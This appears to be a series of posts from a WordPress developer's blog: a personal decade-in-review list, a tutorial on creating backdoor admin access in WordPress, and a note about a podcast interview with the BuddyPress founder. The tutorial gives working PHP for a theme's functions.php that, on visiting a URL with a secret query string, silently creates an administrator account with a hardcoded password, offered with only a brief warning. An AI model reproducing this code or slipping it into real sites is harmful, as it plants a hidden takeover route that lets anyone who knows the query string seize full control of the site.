End of a Decade

So here we are at the end of another decade. It seems appropriate to write about major milestones in my life during the last decade so here goes:

  • Served in the United States Marine Corps (1999-2003)
  • Adopted my two best friends: Lecter and Clarice (2002)
  • Lost my Mom to cancer (2002)
  • Stationed in Kuwait/Iraq for Operation Iraqi Freedom (2003)
  • Promoted to Sergeant (2003)
  • Got married/divorced (2002-2005)
  • Worked my way up to become IT Director at Batteries.com (2003-2008)
  • Attended the Super Bowl w/ my Dad and watched the Colts win! (2006)
  • Sold my house and moved to New Jersey (2008)
  • Started my own Web Development Company (2008)
  • Met the girl of my dreams! (2008)
  • My Niece was born: Indiana Brooke Dundas (2008)
  • Wrote Professional WordPress (2009)

The thing about life is it’s not always a rose garden, but that’s what makes us who we are. Here’s to a great decade ahead!

How To: Create Backdoor Admin Access in WordPress

Have you ever wanted to create an easy backdoor way to auto-create an administrator account in WordPress? The below code snippet does just that! Simply place the code in your themes functions.php flie and upload to your web server:

<?php
add_action('wp_head', 'my_backdoor');

function my_backdoor() {
	If ($_GET['backdoor'] == 'go') {
		require('wp-includes/registration.php');
		If (!username_exists('brad')) {
			$user_id = wp_create_user('brad', 'pa55w0rd');
			$user = new WP_User($user_id);
			$user->set_role('administrator');
		}
	}
}
?>

To activate this code simply visit http://example.com?backdoor=go

When triggered the code will create a new administrator account with a username brad and password of pa55w0rd. The function also verifies the user account doesn’t exist first before creating it.

Keep in mind using this code is considered a security risk as anyone could easily execute this function by calling the correct querystring. Also don’t be evil, only use this code for good!

My Interview with Andy Peatling of BuddyPress

I had the pleasure of interviewing Andy Peatling, the founding developer of BuddyPress, on the SitePoint Podcast last week.

Brad Williams and Andy PeatlingAndy and I discussed many different topics including current BuddPress features, upcoming features, release of the new BP default theme, importing data, and much more! Andy is a great guy and was a lot of fun to have on the show. I even found out what Actor would play Andy if BuddyPress were made into a movie! Listen to the episode to find out!

This is the third interview I’ve done with prominent figures in the Open Source web space. Be sure to catch my interview with Roy Rubin of Magento and Matt Mullenweg of WordPress.